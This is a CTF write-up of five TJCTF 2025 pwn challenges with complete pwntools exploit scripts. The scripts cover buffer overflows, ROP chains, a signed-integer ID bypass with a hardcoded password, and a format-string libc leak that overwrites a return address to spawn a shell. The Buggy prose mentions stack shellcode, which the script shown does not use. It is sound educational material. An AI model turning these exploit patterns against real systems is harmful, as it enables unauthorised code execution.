- Published on
TJCTF 2025 - PWN challenges
- Authors
- Name
- kerszi
Introduction
At last, I found a CTF where the PWN challenges were designed for regular participants, not pushed to the extreme. I solved 5 out of 6 tasks. More info about this CTF is here.
Table of contents
I Love Birds

Solution
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc tjc.tf 31625"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./birds"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
gadget=binary.sym.gadget
win=binary.sym.win
payload=72*b'A'+p32(0)+p32(0xDEADBEEF)+p64(0)+p64(gadget+10)+p64(0xA1B2C3D4)+p64(0)+p64(win)
p.sendlineafter(b'I made a canary to stop buffer overflows. Prove me wrong!',payload)
p.interactive()
tjctf{1_gu355_y0u_f0und_th3_f4ke_b1rd_ch1rp_CH1rp_cH1Rp_Ch1rP_ch1RP}
Extra Credit

This task required providing a specific negative student ID and a password found via binary analysis to access the teacher view. I obtained the password by disassembling the binary in Ghidra.
Solution
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="34.252.33.37:30828"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./gradeViewer"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
# Send the payload after the prompt "Enter your student ID:"
# The value -62482 (as a short) corresponds to 0x0BEE = 3054
p.sendlineafter(b"Enter your student ID:", b'-62482')
# Send the teacher's password after the appropriate prompt
# The password "f1shc0de" was found in Ghidra (binary analysis)
p.sendlineafter(b"[TEACHER VIEW] Enter your password [a-z, 0-9]", b"f1shc0de")
# Switch to interactive mode with the process (manual input possible)
p.interactive()
tjctf{th4nk_y0u_f0r_sav1ng_m3y_grade}
City Planning

I solved this challenge in just a few minutes by simply entering a dot (".") at each prompt. Although the intended solution was likely different, I opted for this shortcut since I still had a few more flags to capture.
Solution
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc tjc.tf 31489"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.sendlineafter(b"Enter the name of your building:", b".")
p.sendlineafter(b"Enter the size of your building (in acres):", b".")
p.sendlineafter(b"Enter the east-west coordinate or your building (miles east of the city center):", b".")
p.sendlineafter(b"Enter the north-south coordinate or your building (miles north of the city center):", b".")
p.sendlineafter(b"Enter the east-west coordinate:", b".")
p.sendlineafter(b"Enter the north-south coordinate:", b".")
p.interactive()
tjctf{a_tru3_4rchit3ct_2erg4b5}
wrong-warp

Additionally, to obtain the flag, it was necessary to ensure that the warrior was finalBoss
instead of the default villager or wolf. This required manipulating the buffer so that program execution was redirected to the fight
function with an argument pointing to the string "finalBoss"
.
Solution
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc tjc.tf 31365"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./heroQuest"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
rop=ROP(binary)
pop_rdi=rop.find_gadget(['pop rdi','ret'])[0]
fight=binary.sym.fight
finalBoss_string = binary.search(b"finalBoss").__next__()
main=binary.sym.main
payload=40*b'\x00'+p64(pop_rdi)+p64(finalBoss_string)+p64(fight)
p.sendlineafter(b"First, enter the name for your save file!", b"my_savefile\n")
p.sendlineafter(b"You can go (n)orth, (e)ast, (s)outh, or (w)est.", b"w")
p.sendlineafter(b"Options: (a)sk about the castle, (f)ight villagers, (r)est at the inn to save, or (g)o back",b'r')
p.sendlineafter(b"You decide to take a rest. Enter the name for your save file:",payload)
p.interactive()
tjctf{up_up_d0wn_d0wn_l3ft_r1ght_l3ft_r1ght_b_a}
Buggy

However, I chose a more challenging path: I later realized that the stack was both writable and executable, so I exploited this property instead of using the standard libc ROP chain. This approach allowed me to inject and execute shellcode directly on the stack, which made the exploitation process more interesting!
I also spent some time analyzing which version of glibc was used in the challenge. After some investigation, I determined that it was glibc 2.39. Before running the exploit, it was necessary to leak libc addresses from the stack using format string payloads like %22$p
, %43$p
, %49$p
, %51$p
, and %143$p
. For example, %143$p
revealed the return address of __libc_start_call_main+122
, which is used to locate the stack position for the ROP chain.
The exploit uses the format string vulnerability to overwrite this return address and set up a ROP chain (ret; pop rdi; bin_sh; system
) by writing each value byte-by-byte via repeated 'deposit' actions. Once the chain is in place, exiting the function triggers the payload and spawns a shell.
Solution
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc tjc.tf 31363"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./chall_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
stack_leak = p.recvuntil(b',')
stack_leak = int(stack_leak.strip(b','), 16)
stack_write=stack_leak-0xe8+0x500
p.sendlineafter(b'What would you like to do? (view balance|deposit|withdraw|transfer|exit)', b'deposit')
p.sendlineafter(b'Enter amount:', b'%143$p')
libc_start_call_main = int(p.recvline().strip(), 16)
libc.address = libc_start_call_main - 0x2a1ca
system = libc.sym.system
bin_sh = next(libc.search(b'/bin/sh'))
rop = ROP(libc)
ret = rop.find_gadget(['ret'])[0]
pop_rdi = libc.address + 0x10f75b
# The following loop performs the format string exploit to overwrite the return address on the stack.
# For each offset (0, 8, 16, 24), it writes the corresponding value (ret, pop_rdi, bin_sh, system)
# to the calculated stack address. This sets up a ROP chain: ret; pop rdi; bin_sh; system.
# Each write is done using a separate 'deposit' action, leveraging the format string vulnerability.
for offset, value in zip([0, 8, 16, 24], [ret, pop_rdi, bin_sh, system]):
p.sendlineafter(b'What would you like to do? (view balance|deposit|withdraw|transfer|exit)', b'deposit')
payload = fmtstr_payload(12, {stack_write + offset: value}, write_size='byte')
p.sendlineafter(b'Enter amount:', payload)
# After setting up the ROP chain, trigger the function return to execute the chain and spawn a shell.
p.sendlineafter(b'What would you like to do? (view balance|deposit|withdraw|transfer|exit)', b'exit')
p.interactive()
tjctf{sys_c4ll3d_l1nux_294835}
Conclusion
There is still one more challenge left (linked), which I managed to solve partially. Perhaps in the future, I will return to complete the full set of tasks. This CTF was great.